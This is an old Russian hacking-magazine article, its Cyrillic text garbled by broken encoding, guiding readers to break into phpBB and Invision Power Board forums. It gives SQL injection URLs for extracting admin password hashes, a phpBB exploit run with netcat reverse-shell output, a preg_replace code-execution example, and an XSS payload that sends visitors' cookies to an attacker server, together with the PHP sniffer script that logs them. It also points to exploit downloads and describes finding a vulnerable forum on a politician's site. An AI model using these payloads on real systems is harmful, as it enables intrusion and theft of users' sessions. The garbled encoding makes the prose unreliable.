èäòè íå íàäî � InstaBoard 1.3 ñòðàäàåò îáèëüíûìè sql-injection óÿçâèìîñòÿìè:

! www.example.com/instaboard/index.cfm?frmid=1 AND u.userid IN (select userid from users)
! www.example.com/instaboard/index.cfm?frmid=1&tpcid=1 SQL
! www.example.com/instaboard/index.cfm?frmid=1 SQL&tpcid=1
! www.example.com/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1 SQL&msgid=11
! www.example.com/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1&msgid=11 SQL
! www.example.com/instaboard/index.cfm?catid=-1 UNION SELECT userid,1,1..., from users



ÑËÎÆÍÎ ÍÅ ÇÀÌÅÒÈÒÜ, ×ÒÎ ÁÎËÜØÈÍÑÒÂÎ ÑÎÂÅÐØÀÅÌÛÕ ÍÛÍÅ ÂÇËÎÌÎÂ ÎÑÓÙÅÑÒÂËßÅÒÑß ×ÅÐÅÇ ÓßÇ-
ÂÈÌÎÑÒÈ WEB-ÑÖÅÍÀÐÈÅÂ. ÂÍÅØÍÅ ÒÀÊÎÉ ÂÇËÎÌ ÌÎÆÅÒ ÏÎÊÀÇÀÒÜÑß ÂÏÎËÍÅ ÏÐÎÑÒÎÉ ÇÀÄÀ×ÅÉ: ÍÀØÅË
ÄÛÐßÂÛÉ ÑÊÐÈÏÒ, ÇÀÒÅÌ ÏÎÄÕÎÄßÙÈÉ ÝÊÑÏËÎÉÒ � È ÄÅËÎ Â ØËßÏÅ. ÍÎ ÊÀÊ ÒÎËÜÊÎ ÄÅËÎ ÄÎÕÎÄÈÒ ÄÎ
ÏÐÀÊÒÈÊÈ, ÑÒÀËÊÈÂÀÅØÜÑß Ñ ÑÎÂÅÐØÅÍÍÎ ÍÅÂÅÐÎßÒÍÛÌÈ ÏÐÎÁËÅÌÀÌÈ | Ñòåïàí Èëüèí aka Step (faq@real.xakep.ru)

[â ÷åì ïðîáëåìà?] Åñëè òû õîòü ðàç ïûòàëñÿ èñïîëüçîâàòü äëÿ âçëî-
ìà ýêñïëîéòû, òî äîëæåí ïîíèìàòü, î ÷åì èäåò ðå÷ü. Ñîãëàñèñü, íàéòè
óÿçâèìûé ñåðâèñ èëè web-ñöåíàðèé ñåãîäíÿ íå ïðîáëåìà. Îøèáêè, â
òîì ÷èñëå è êðèòè÷åñêèå, åñòü ïðàêòè÷åñêè âåçäå, à ìíîãî÷èñëåííûå ñî-
îáùåíèÿ â ëåíòå áàãòðàêà � ëèøíåå òîìó ïîäòâåðæäåíèå. Êóäà ñëîæ-
íåå ïîäîáðàòü ïîäõîäÿùèé è, ÷òî íåìàëîâàæíî, ðàáîòîñïîñîáíûé
ýêñïëîéò. Îáû÷íî ïðîáëåìû íà÷èíàþòñÿ íà ñòàäèè åãî ïðèìåíåíèÿ. Òî
ýêñïëîéò âûâàëèâàåòñÿ ñ îøèáêîé, òî îòêàçûâàåòñÿ êîìïèëèðîâàòüñÿ,
òî, íè÷åãî íå âûïîëíÿÿ, ïûòàåòñÿ îòôîðìàòèðîâàòü âèí÷åñòåð :). Áîëåå
òîãî, ìíîãèå ðàçðàáîò÷èêè óìûøëåííî îñòàâëÿþò â êîäå ýêñïëîéòà
îøèáêó, ÷òîáû èçáåæàòü åãî èñïîëüçîâàíèÿ òåìè, êîìó îí, ïî ïðàâäå ãî-
âîðÿ, è íå íóæåí.
Áàãîâ òàê ìíîãî, ÷òî èíîãäà ñìîòðèøü íà ôîðóì è çíàåøü, ÷òî îí
áàæíûé. Íî ïîëîìàòü åãî íèêàê íå ïîëó÷àåòñÿ. Íå áåäà! Ñåãîäíÿ ìû
ïîäãîòîâèëè äëÿ òåáÿ ñàìûé ïîëíûé ãèä ïî ãîðÿ÷èì óÿçâèìîñòÿì ñà-
ìûõ ïîïóëÿðíûõ ôîðóìîâ phpBB è IPB. Êàê ãîâîðèòüñÿ, ïîñòàâèì âñå
òî÷êè íàä i.

Âñå ãëàâíûå ñïëîèòû è áàãè
ïîïóëÿðíûõ ôîðóìîâ

[phpBB <= 2.0.12 � äîñòóï ê àäìèí-ïàíåëè] Â ëþáîé âåðñèè
phpBB ìëàäøå 2.0.13 âîçìîæíî ëåãêî ïîëó÷èòü äîñòóï ê àäìèíèñòðà-
òîðñêîìó èíòåðôåéñó. Ñòîëü ñåðüåçíàÿ áðåøü â áåçîïàñíîñòè ñóùåñò-
âóåò áëàãîäàðÿ íåêîððåêòíîìó ñðàâíåíèþ èäåíòèôèêàöèîííûõ äàííûõ
â ìîìåíò àâòîðèçàöèè ïîëüçîâàòåëÿ. Ïðîãðàììèñòû äîïóñòèëè ëîãè÷åñ-
êóþ îøèáêó íà 82 ñòðîêå ñöåíàðèÿ includes/sessions.php:

if($sessiondata['autologinid'] == $auto_login_key)

Íà ïåðâûé âçãëÿä, âñå íîðìàëüíî. Ïðîâåðÿåòñÿ ðàâåíñòâî èäåíòèôèêà-
òîðîâ, åñëè âñå ïðàâèëüíî, òî ïîëüçîâàòåëü âïóñêàåòñÿ â ñèñòåìó. Îä-
íàêî ýòî íå ñîâñåì òàê. Äåëî â òîì, ÷òî îïåðàòîð «==» âîçâðàùàåò true,
åñëè åãî îïåðàíäû «ðàâíû» äðóã äðóãó, ïðè÷åì ñëîâî «ðàâíû» çäåñü ïî-
íèìàåòñÿ äîâîëüíî ñâîåîáðàçíî. Òàê, ê ïðèìåðó, «+1.a», ñ òî÷êè çðåíèÿ
îïåðàòîðà «==», ýòî òî æå ñàìîå, ÷òî è «0001». Äåëî â òîì, ÷òî ïðè ïðè-
âåäåíèè òèïîâ è òà, è äðóãàÿ ñòðîêà ñòàíåò åäèíèöåé è, çíà÷èò, îíè áó-
äóò ðàâíû äðóã äðóãó. Ïî ýòîé ïðè÷èíå â PHP åñòü îïåðàòîð «òîæäåñò-
âåííî ðàâíî» (òðè çíàêà ðàâíî, ===), êîòîðûé, êðîìå âñåãî ïðî÷åãî, ïîä-
ðàçóìåâàåò åùå è ñîâïàäåíèå òèïîâ îïåðàíäîâ. Èìåííî ýòîò îïåðàòîð
è ñëåäîâàëî áû èñïîëüçîâàòü â ýòîì ìåñòå ñöåíàðèÿ ðàçðàáîò÷èêàì. ÍîÞ
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èñïîëüçóÿ áðåøü â àâòîðèçàöèè,
ýêñïëîéò ïðîíèêàåò â ôîðóì ñ ïðà-
âàìè àäìèíèñòðàòîðà, ïîäêëþ÷àåò
âñïîìîãàòåëüíûé øàáëîí ñ ôóíê-
öèåé eval() è ñ ïîìîùüþ ñïåöèàëü-
íûõ ïàðàìåòðîâ ïåðåäàåò åé êîä,
âûïîëíÿþùèé ñèñòåìíûå êîìàíäû.
Ýêñïëîéò íàïèñàí íà Ñ (www.secu-
ritylab.ru/_Exploits/2005/03/phpbb-
exp.cpp.txt), íî ÷òîáû èçáåæàòü ïðîá-
ëåì ñ êîìïèëÿöèåé, ðåêîìåíäóþ
ñðàçó ñêà÷àòü ëþáåçíî ñîáðàííûé
áèíàðíèê (www.t-nas.org/exploity/win-
dows/phpbbexp.exe). Òåïåðü ïàðó
ñëîâ î ïðèìåíåíèè. Áèíàðíèê èìååò
3 ïàðàìåòðà: ïîëíûé àäðåñ ôîðóìà,
IP-àäðåñ êîìïüþòåðà ñ âêëþ÷åííûì
netcat�îì è ïîðò, íà êîòîðîì «ñè-
äèò» nc. Äëÿ ëó÷øåãî ïîíèìàíèÿ
ïðèâåäó ïðèìåð èñïîëüçîâàíèÿ:

D:\xakep\phpbbexp.exe http://site.com/phpbb2/ 62.11.11.11 31337 
_ nom du cookie recuperer : phpbb2mysql 
_ SESSION ID recuperç ... 06fddfs62bbd263434243456f11f3212
http://site.com/phpbb2/?sid=06fddfs62bbd263434243456f11f3212 
_ recuperation du nom de la table sql ... sempervi OK 
_ Injection de la fake templates ...OK 
_ Fichier crçe 

D:\xakep\nc.exe -lvvp 31337 
listening on [any] 31337
connect to [62.11.11.11] from site.com [216.237.117.112] 57532 
id 
uid=99(nobody) gid=99(nobody) groups=99(nobody) 

Nc.exe � ýòî ñåòåâàÿ óòèëèòà Netcat (www.securitylab.ru/to-
ols/33265.html), êîòîðàÿ ñîçäàåò ñåòåâîå ñîåäèíåíèå íà 31337 ïîðòó è
«ñëóøàåò» âõîäÿùèå ïîäêëþ÷åíèÿ. Ôàêòè÷åñêè òû ïîëó÷àåøü âåá-
øåëë, íî åñëè õî÷åøü ïîêîâûðÿòüñÿ â àäìèí-ïàíåëè, äîñòàòî÷íî óäà-
ëèòü âñå ñâîè êóêè è çàéòè ïî ññûëêå, êîòîðóþ òåáå âûäàë ýêñïëîéò. Â
ìîåì ñëó÷àå � http://site.com/phpbb2/?sid=06fddfs62bbd263434243456f11f3212.

[phpBB <= 2.0.13 download mod � âûïîëíåíèå ïðîèçâîëüíî-
ãî êîäà] Òàêèå ïîïóëÿðíûå ôîðóìû, êàê phpBB, ñî âðåìåíåì îáðàñòà-
þò ìíîæåñòâîì íåçàâèñèìûõ äîïîëíåíèé (òàê íàçûâàåìûå mod�û è
hack�è), ñîâåðøåíñòâóþùèå ôîðóì äîïîëíèòåëüíûìè ôóíêöèÿìè è âîç-
ìîæíîñòÿìè. Îäíàêî íàðÿäó ñ íîâûìè ôèøêàìè ïîÿâëÿþòñÿ è íîâûå
áàãè. Íå òàê äàâíî áûëà íàéäåíà óÿçâèìîñòü â ïîïóëÿðíîì ìîäå down-
loads, êîòîðûé îðãàíèçîâûâàåò ñèñòåìàòèçèðîâàííóþ ðàçäà÷ó ôàéëîâ
ïîëüçîâàòåëÿì ôîðóìà. Óÿçâèìîñòü êðèòè÷åñêàÿ: ðàçðàáîò÷èêè ïî÷åìó-
òî íå ñî÷ëè íóæíûì ôèëüòðîâàòü ïàðàìåòðû çàïðîñà, ïîýòîìó äàæå íå-
îïûòíûé õàêåð ñìîã áû ñàìîñòîÿòåëüíî ñîâåðøèòü SQL-èíúåêöèþ. Çàï-
ðîñ ê ñöåíàðèþ ñîñòàâëÿåòñÿ ïî âñåì êàíîíàì êëàññè÷åñêîãî æàíðà:
www.victim.com/phpBB/downloads.php?cat=-1%20UNION%20SE-
LECT%200,user_password,0,0,0,0,0,0,0%20FROM%20phpbb_users%2
0WHERE%20user_id=1/*. Òàêèì îáðàçîì èçâëåêàåòñÿ õýø ëþáîãî èç
ïîëüçîâàòåëåé ôîðóìà, â òîì ÷èñëå è àäìèíèñòðàòîðà � äëÿ ýòîãî â êà-
÷åñòâå user_id íóæíî îáîçíà÷èòü äâîéêó. Â ñëó÷àå íåîáõîäèìîñòè èñ-
êàòü ýòîò øàáëîí áóäåò íåóäîáíî, ïîýòîìó ÿ ðåêîìåíäóþ òåáå èñïîëüçî-
âàòü ýêñïëîéò (www.securitylab.ru/_Exploits/2005/04/downloads_php-

BB_2_0_13.pl.txt), êî-
òîðûé ïîäõîäèò äëÿ
ëþáîé âåðñèè <=2.0.13
ñ óñòàíîâëåííûì down-
load ìîäîì. Ýêñïëîéòó
ïåðåäàþòñÿ òðè ïàðà-
ìåòðà: èìÿ  õîñòà èëè
IP-àäðåñ, ïóòü ê ôîðó-
ìó íà ñåðâåðå, èäåí-
òèôèêàòîð àäìèíèñò-
ðàòîðà (â áîëüøèí-
ñòâå ñëó÷àåâ ðàâåí
2). Â ñëó÷àå óñïåõà
ýêñïëîéò âåðíåò MD5-
õýø àäìèíà, êîòîðûé
ìîæíî ïîìåñòèòü â
ñâîè êóêè.

îíè îá ýòîì íå ïîäóìàëè, êîå-êóäà
íå äîñìîòðåëè è ïîëó÷èëè ñåðüåç-
íóþ áðåøü â ñâîåì ïðîäóêòå.
Äëÿ òîãî ÷òîáû ïîëüçîâàòåëÿ ïðî-
ïóñòèëè â ñèñòåìó, íåîáõîäèìî
ëèøü, ÷òîáû äëèíà èäåíòèôèêàòî-
ðà â åãî êóêèñå ñîâïàäàëà ñ äëè-
íîé $auto_login_key. Ïîäîáðàòü íå-
îáõîäèìîå çíà÷åíèå autologinid è
çàïèñàòü â ïëþøêó íåñëîæíî, ñ
÷åì âåëèêîëåïíî ñïðàâëÿåòñÿ
ýêñïëîéò îò êîìàíäû [N]eo [S]ecuri-
ty [T]eam. Ýêñïëîéò íàïèñàí íà
÷èñòîì C è îòëè÷íî êîìïèëèðóåòñÿ
ïîä ëþáóþ ïëàòôîðìó, òàê êàê íå
èñïîëüçóåò êàêèõ-ëèáî ñïåöèôè-
÷åñêèõ áèáëèîòåê. Òåì íå ìåíåå
åñòü îäèí íþàíñ: åãî ðàáîòà âîç-
ìîæíà òîëüêî ñîâìåñòíî ñ áðàóçå-
ðàìè Mozilla èëè Firefox. Ýòè áðàó-
çåðû õðàíÿò çíà÷åíèÿ cookies â
ôàéëå cookies.txt (áèíàðíèê ýêñïëî-
éòà íóæíî ïîìåñòèòü â äèðåêòîðèþ
ñ ýòèì ôàéëîì), è èìåííî â ýòîò
ôàéë ýêñïëîéò îñóùåñòâëÿåò çà-
ïèñü ñïåöèàëüíî ñîñòàâëåííîé
ïëþøêè.
Ñêà÷àòü ýêñïëîéò ìîæíî îòñþäà �
www.securitylab.ru/53017.html. Ïå-
ðåä èñïîëüçîâàíèåì íå çàáóäü àâ-
òîðèçîâàòüñÿ íà ôîðóìå, îòêëþ÷èâ
ïðè ýòîì îïöèþ ñîõðàíåíèÿ ïàðîëÿ.

[phpBB <= 2.0.12 � âûïîëíåíèå ïðîèçâîëüíîãî êîäà] Äîñòóï
ê àäìèíèñòðàòèâíîé ïàíåëè � ýòî, ñîãëàñèñü, äàëåêî íå ïðåäåë ìå÷òà-
íèé. Îñîáåííî â òîì ñëó÷àå, åñëè äî ñàìîãî ôîðóìà òåáå íåò íèêàêîãî
äåëà. Òî÷íî òàê æå ïîäóìàë è õàêåð overdose, êîòîðûé èñïîëüçîâàë îá-
íàðóæåííóþ áðåøü â sessions.php è íàïèñàë ýêñïëîéò äëÿ âûïîëíåíèÿ

ïðîèçâîëüíîãî êîäà
íà ñåðâåðå. Äëÿ ýòîãî
åìó ïðèøëîñü çàþ-
çàòü îñîáåííîñòü îä-
íîãî èç àäìèíèñòðàòèâ-
íûõ ôàéëîâ admin_sty-
les.php, ïîçâîëÿþùèé
ïîäêëþ÷èòü ê ôîðóìó
øàáëîí ñ âíåäðåííîé
ôóíêöèåé eval($str)
($str � ñòðîêà, êîòî-
ðàÿ âî âðåìÿ òðàíñëÿ-
öèè áóäåò èíòåðïðåòè-
ðîâàíà êàê PHP-êîä).
Òàêèì îáðàçîì, ïîëó-
÷èëîñü ðåàëèçîâàòü
ñëåäóþùèé àëãîðèòì:

óÿçâèìûé êîä ñöåíàðèÿ sessions.php

êîä ýêñïëîéòà äëÿ îðãàíèçàöèè web-øåëëà

áàã â ñöåíàðèè downloads.php ïîçâîëÿåò çà 2
ìèíóòû ñïåðåòü èíôîðìàöèþ îáî âñåõ ïîëü-
çîâàòåëÿõ

Îòëè÷íûì èíñòðóìåíòîì
äëÿ ïîèñêà óÿçâèìûõ ñöå-
íàðèåâ ÿâëÿåòñÿ
www.google.com. Ïîäðîá-
íåå î òîì, êàê ïðîèçâîäèòü
ïîèñê, òû ñìîæåøü ïðî÷è-
òàòü â ñòàòüå Forb�à �
«Google-õàê».
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Îãðîìíîå êîëè÷åñòâî
ñàéòîâ íå èìåþò
ñîáñòâåííîãî àäìè-
íèñòðàòîðà, ïîýòîìó ôî-
ðóìû äîëãîå âðåìÿ îñòà-
þòñÿ áåç äîëæíîãî âíè-
ìàíèÿ. Âåðîÿòíîñòü íàéòè
óÿçâèìóþ âåðñèþ ôîðóìà
íàìíîãî âûøå, ÷åì òû
äóìàåøü.

Íå ñïåøè ñïèñûâàòü ñî
ñ÷åòîâ íåðàáî÷èé ýêñïëî-
éò. Íå èñêëþ÷åíî, ÷òî
õàêåðû íàìåðåííî ñäåëàëè
êàêóþ-òî îøèáêó, òî åñòü
ðåàëèçîâàëè çàùèòó îò
ñêðèïòêèäèñ. Èçó÷è óÿçâè-
ìîñòü, êîòîðóþ èñïîëüçóåò
ýòîò ýêñïëîéò, è ïðîøòóäè-
ðóé åãî êîä. Èíôîðìàöèÿ î
äîâîäêå ýêñïëîéòà äî óìà
íåðåäêî ïîÿâëÿåòñÿ íà
security-ôîðóìàõ è ñàéòàõ.

Íå ñòîèò çàáûâàòü, ÷òî âñå
äåéñòâèÿ âçëîìùèêîâ
ïðîòèâîçàêîííû è ýòà
ñòàòüÿ ïðåäíàçíà÷åíà
ëèøü äëÿ îçíàêîìëåíèÿ.
Çà ïðèìåíåíèå ìàòåðèàëà
â íåçàêîííûõ öåëÿõ àâòîð
è ðåäàêöèÿ îòâåòñòâåííîñ-
òè íå íåñóò.

Ëó÷øàÿ çàùèòà îò ñâåæèõ
áàãîâ � ñâîåâðåìåííîå
îáíîâëåíèå èñïîëüçóåìîãî
ñîôòà è ñêðèïòîâ. Ïîñëåä-
íèå âåðñèè phpBB è
Invision Power Board ìîæíî
ñêà÷àòü ñ www.phpbb.com
è www.invisionboard.com



[phpBB <= 2.0.15 îòêàç â îáñëóæèâàíèè] DoS-ýêñïëîéòû äëÿ
web-ñöåíàðèåâ � áîëüøàÿ ðåäêîñòü. Îäíàêî îíè âñå-òàêè ñóùåñòâóþò.
Íåäàâíèé ýêñïëîéò îò security-ãðóïïû [NST] ñïîñîáåí ïðè íåêîòîðûõ óñ-
ëîâèÿõ çàâàëèòü ëþáóþ âåðñèþ phpBB ìëàäøå 2.0.16. Â îñíîâå ðàáîòû
ýêñïëîéòà ëåæèò èñïîëüçîâàíèå òåõíèêè óçêîíàïðàâëåííîãî ôëóäà.
Ýêñïëîéò ïðîñòî çàñûïàåò ôîðóì áîëüøèì êîëè÷åñòâîì ëîæíûõ çàïðî-
ñîâ, äëÿ îáðàáîòêè êîòîðûõ òðåáóåòñÿ áîëüøîå êîëè÷åñòâî âðåìåíè.
Èñïîëüçóÿ íåäîñòàòî÷íî ïðîäóìàííóþ ñèñòåìó ôèëüòðàöèè â profile.php,
ïðîèçâîäÿòñÿ ïîïûòêè çàðåãèñòðèðîâàòü áîëüøîå êîëè÷åñòâî ïîëüçîâà-
òåëåé. Íà ñëó÷àé íåóäà÷è ïðîäóìàí äðóãîé âàðèàíò � ýêñïëîéò íà÷èíà-
åò âàëèòü ñåðâåð ñ ïîìîùüþ áîëüøîãî êîëè÷åñòâà ïîèñêîâûõ çàïðîñîâ
(ôàéë search.php). Òàêèå çàïðîñû ñîñòàâëÿþòñÿ îñîáûì îáðàçîì, ÷òîáû
ñåðâåðó òðåáîâàëîñü ìàêñèìàëüíî âîçìîæíîå êîëè÷åñòâî âðåìåíè äëÿ
èõ îáðàáîòêè.
Ñóùåñòâóþò äâå âåðñèè ýòîãî ýêñïëîéòà: îäíà èç íèõ íàïèñàíà íà ÷èñ-
òîì C, äðóãàÿ � íà Perl�å. Ìíå óäàëîñü ïðîòåñòèðîâàòü îáå èç íèõ, íî
äîëæåí ïðèçíàòü, ÷òî ðàáîòàþò îíè îòíþäü íå âñåãäà. Ìîåãî äîìàøíå-
ãî ADSL-ñîåäèíåíèÿ ñ óçêèì êàíàëîì â 256 êáèò/ñ äëÿ ýòîãî ÿâíî íå õâà-
òàëî, ïîýòîìó ïðèøëîñü èñïîëüçîâàòü ñïåöèàëüíî çàãîòîâëåííûé øåëë.
Ïîñëå äåñÿòêà ïîïûòîê íåñêîëüêî ôîðóìîâ äåéñòâèòåëüíî óïàëè: âìåñ-
òî ïîëíîöåííîé ðàáîòû âûäàëèñü êàêèå-òî îøèáêè MySQL. Îáå âåðñèè
ýêñïëîéòà ëåæàò çäåñü: http://neosecurityteam.net/index.php?pagina=advi-
sories&id=15.

[phpBB 2.0.15 � âûïîëíåíèå ïðîèçâîëüíûõ êîìàíä] Ýòà âåð-
ñèÿ ôîðóìà � åùå îäíà íàñòîÿùàÿ íàõîäêà äëÿ õàêåðà. Áëàãîäàðÿ ãðó-
áîé îøèáêå â ðåàëèçàöèè ïîäñâåòêè òåêñòà ñòàíîâèòñÿ âîçìîæíûì
âíåäðèòü â èñïîëíÿåìûé ñêðèïò ïðîèçâîëüíûé PHP-êîä. Ëþáîé æåëàþ-
ùèé ìîæåò ââåñòè PHP-ôóíêöèþ system(), à â ïàðàìåòðàõ óêàçàòü íóæ-
íûé íàáîð ñèñòåìíûõ êîìàíä, òî åñòü ïîëó÷èòü ñâîåîáðàçíûé shell.
Âñå ýòî áåçîáðàçèå ñòàíîâèòñÿ âîçìîæíûì èç-çà íåïðàâèëüíîãî èñ-
ïîëüçîâàíèÿ ôóíêöèè preg_replace(), âûçûâàåìîé â ñöåíàðèè
viewtopic.php. Îáúÿñíþ íà ïðèìåðå.

<?
$string1="system(�uname -a�)";
$string2=preg_replace('//e',$string1,'');
?>

Êëþ÷ «e» ôóíêöèè preg_replace óêàçûâàåò íà òî, ÷òî $string1 íóæíî èíòåðï-
ðåòèðîâàòü êàê PHP-êîä, òî åñòü äàííûé ïðèìåð âûïîëíèò íà ñåðâåðå êî-
ìàíäó uname �a. Åñëè ïðàâèëüíî ñîñòàâèòü çàïðîñ ê ôóíêöèè ïîäñâåòêè,
òî âíåäðèòü ìîæíî ñîâåðøåííî ëþáîé êîä è âûïîëíèòü íà óäàëåííîì
ñåðâåðå ëþáóþ êîìàíäó. Ýêñïëîèò, íàïèñàííûé íà python, ìîæíî ñêà÷àòü
îòñþäà � www.securitylab.ru/_Exploits/2005/07/phpbb2015.py.
Ïðèìå÷àòåëüíî, ÷òî ýòà óÿçâèìîñòü ñòàëà ëîãè÷åñêèì ðàçâèòèåì êðèòè-
÷åñêîãî áàãà, èñïðàâëåííîãî åùå â phpBB 2.0.11. Ïðè âñåé ëþáâè õàêå-
ðîâ ê phpBB, åå ðàçðàáîò÷èêè ïî÷åìó-òî äîâîëüíî õàëòóðíî çàëèçûâà-
þò ìíîãî÷èñëåííûå îøèáêè, äàæå êðèòè÷åñêèå.

[phpBB <=2.0.16 � ìåæñàéòîâûé ñêðèïòèíã] Äëÿ íà÷àëà äàâàé
âñïîìíèì, ÷òî èç ñåáÿ ïðåäñòàâëÿåò ìåæñàéòîâûé ñêèïòèíã (Cross Site
Scripting). XSS-íàïàäåíèå ïîäðàçóìåâàåò, ÷òî õàêåðó óäàëîñü èíúåêòè-
ðîâàòü ñâîé HTML-êîä â óÿçâèìûé ñöåíàðèé. Â áîëüøèíñòâå ñëó÷àåâ
ýòîò êîä ïðåäñòàâëÿåò íåáîëüøîé JavaScript-ñöåíàðèé, ïðåäíàçíà÷åí-
íûé äëÿ êðàæè êîíôèäåíöèàëüíîé èíôîðìàöèè î ïîëüçîâàòåëÿõ (èõ
cookies, èäåíòèôèêàòîðû ñåññèé è ò.ä.). Èíîãäà XSS ïîçâîëÿåò îáîéòè
ìåõàíèçì àóòåíòèôèêàöèè, à â íåêîòîðûõ ñëó÷àÿõ � äàæå âûïîëíèòü
ïðîèçâîëüíóþ êîìàíäó íà ñòîðîíå ñåðâåðà.
Íå áóäó òàèòü: â phpBB ïîäîáíûé áàãîâ ïîëíî. Íàèáîëåå óíèâåðñàëüíàÿ
óÿçâèìîñòü, êîòîðàÿ ïðèñóùå âñåì phpBB <=2.0.16, áûëà íàéäåíà â êî-
äå îáðàáîòêè òýãà [URL]. Íåäîñòàòî÷íî ïðîäóìàííûå ðåãåñïû ïîçâîëÿ-
þò ñäåëàòü âëîæåííûå BB-òýãè URL è èíúåêòèðîâàòü JavaScript-êîä.
Âåñü ýêñïëîéò (antichat.ru/txt/phpbb/)âûãëÿäèò ñëåäóþùèì îáðàçîì:
[color=ÖÂÅÒ_ÔÎÍÀ][url]www.ut[url=www.s=''style='font-size:0;color:ÖÂÅÒ_ÔÎ-
ÍÀ'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://tvoi_s
erver.ru/cgi-bin/sniff.php?'+document.cookie;this.sss=null`style='font-
size:0;][/url][/url]'[/color]
Ýêñïëîéò, íàïèñàííûé Zadoxlik ñ www.antichat.ru, îòñûëàåò êóêè ïî-
ñåòèòåëåé ôîðóìà íà ñïåöèàëüíûé ñêðèïò-ñíèôåð, ðàñïîëîæåííûé
ïî àäðåñó http://tvoi_server.ru/cgi-bin/sniff.php. Ýòîò ñêðèïò ìîæåò
áûòü óñòàíîâëåí íà ëþáîì áåñïëàòíîì õîñòèíãå ñ âîçìîæíîñòüþ èñ-
ïîëüçîâàíèÿ PHP:[X
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ñïëîèò äëÿ DoS-àòàêè íà phpbb êîìïèëèðóåòñÿ è çàïóñêàåòñÿ î÷åíü ëåã-
êî, íî âîò âèäèìîãî ýôôåêòà äîñòèãíóòü íå òàê óæ è ïðîñòî

python-êîä ñïëîèòà äëÿ phpbb

ñïëîèò äëÿ IPB ïðîòèâ ñàéòà Þëèè Òèìîøåíêî

ÞËß, ÏÏÐÈÂÅÒ!
Íåáîëüøîé addon îò Íèêèòîñà. Ïàðó íåäåëü íàçàä ÿ êî-
âûðÿëñÿ ñ áàãàìè â IPB. Íó è, êîíå÷íî, ìíå çàõîòåëîñü
ïîïðîáîâàòü êàêèå-òî èçûñêàíèÿ íà ïðàêòèêå, è ÿ âáèë
ñðàçó â ãóãëå ñîîòâåòñòâóþùèé çàïðîñ. Êàêîâî æå áûëî
ìîå óäèâëåíèå, êîãäà ÿ íàòêíóëñÿ íà ñàéò Þëèè Òèìî-
øåíêî � âèäíîãî óêðàèíñêîãî ïîëèòè÷åñêîãî äåÿòåëÿ.
Äà, òû óãàäàë, â êà÷åñòâå ôîðóìà òàì èñïîëüçîâàëñÿ
êàê ðàç òîò ñàìûé áàæíûé IPB � äàæå áîëüøå òîãî, îí
äî ñèõ ïîð òàì ñòîèò :). ß, ðàçóìååòñÿ, êàê äîáðîïîðÿ-
äî÷íûé ãðàæäàíèí íå ñòàë íè÷åãî òàêîãî äåëàòü ïëîõî-
ãî, ÷òî áû ïîäîðâàëî ìåæäóíàðîäíûé àâòîðèòåò Óêðàè-
íû. Òåáå, ðàçóìååòñÿ, òîæå ýòîãî íå ñîâåòóþ. Ìîæíî
ïðîñòî ïîïåðåòüñÿ íàä ñàìèì ôàêòîì. Êàêàÿ âñå-òàêè
ñìåøíàÿ ñòðàíà Óêðàèíà! :)



<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip.
'<br> Date and Time: ' .$date. '<br> Referer:
'.$referer.'<br><br><br>');
fclose($fp);
?>

Òû, íàâåðíîå, çàìåòèë, ÷òî â êîäå ýêñïëîéòà
åñòü ñòðàííûé ïàðàìåòð � ÖÂÅÒ_ÔÎÍÀ. Àâ-
òîð ýêñïëîéòà ñäåëàë ýòî íåñëó÷àéíî. Äåëî â
òîì, ÷òî ýêñïëîéò ñðàáîòàåò òîëüêî ó ïîñåòèòå-
ëåé, èñïîëüçóþùèõ Internet Explorer. Opera è
Firefox âîñïðèíèìàþò òàêîé êîä íåêîððåêòíî è
âûâîäÿò ñîîáùåíèÿ îá îøèáêå. ×òîáû íå âûäà-
âàòü ñåáÿ, ýêñïëîéò ìàñêèðóåò èõ, îòîáðàæàÿ
ñîîáùåíèÿ îá îøèáêàõ öâåòîì ôîíà, òî åñòü
äåëàåò èõ íåâèäèìûìè. Ýòîò öâåò ìîæíî âçÿòü
èç òåêóùåãî øàáëîíà, â ÷àñòíîñòè äëÿ ñòàíäà-
ðòíîé òåìû îí ðàâåí � #EFEFEF.

[Invision Power Board] IPB ïîäîáíî phpBB
ÿâëÿåòñÿ ÷ðåçâû÷àéíî ïîïóëÿðíûì ñêðèïòîì
äëÿ ñîçäàíèÿ ôîðóìà, îäíàêî êîëè÷åñòâî íàé-
äåííûõ â íåì óÿçâèìîñòåé íà ïîðÿäîê ìåíüøå.
Ñêàæó áîëüøå: ñåðüåçíûå äûðêè, èç êîòîðûõ
ðåàëüíî âîçìîæíî ïðè÷èíèòü óðîí ñåðâåðó
ïðàêòè÷åñêè îòñóòñòâóþò, â áàãòðàêå íåò íè îä-
íîãî ñîîáùåíèÿ î âîçìîæíîñòè âûïîëíèòü íà
óäàëåííîé ìàøèíå ïðîèçâîëüíûé êîä. Ïîñëå
äîëãîãî èçó÷åíèÿ áàãîâ è ýêñïëîéòîâ õî÷åòñÿ
îáðàòèòü âíèìàíèå ëèøü íà îäèí ýêñïëîéò �
óíèâåðñàëüíûé âàðèàíò äëÿ ñîâåðøåíèÿ SQL-
èíúåêöèè êàê äëÿ âåòêè 1.x, òàê è 2.x (äî âåð-
ñèè 2.0.4) IPB.

[IPB 1.x, 2.x (<2.0.4) � äîñòóï ê àäìèí-
ïàíåëè] Ëþáàÿ èç îáîçíà÷åííûõ âåðñèé IPB
ïîäâåðæåíà SQL-èíúåêöèè. Ýòî äîñòèãàåòñÿ çà
ñ÷åò íåäîñòàòî÷íî ñåðüåçíîé îáðàáîòêè cook-
ies-ôàéëîâ â ñöåíàðèè sources/login.php. Áàã
çàêðàëñÿ â ôóíêöèè my_getcookie($name), êî-
òîðàÿ íåêîððåêòíî èñïîëüçóåò ôóíêöèþ urlde-
code(). Åñëè íà ñåðâåðå âêëþ÷åíû magic
quotes, ïåðåäàííûé â çàïðîñå ñèìâîë %2527,
ïðåâðàùàåòñÿ â îäèíàðíóþ êàâû÷êó. Áëàãîäà-
ðÿ ýòîìó õàêåðó óäàåòñÿ âûïîëíèòü ëþáîé
SQL-çàïðîñ è èçâëå÷ü õýøè ïîëüçîâàòåëåé.
Ýêñïëîéò äëÿ ýòîé óÿçâèìîñòè âûïóñòèëè ñðà-
çó íåñêîëüêî security-êîìàíä, â òîì ÷èñëå è
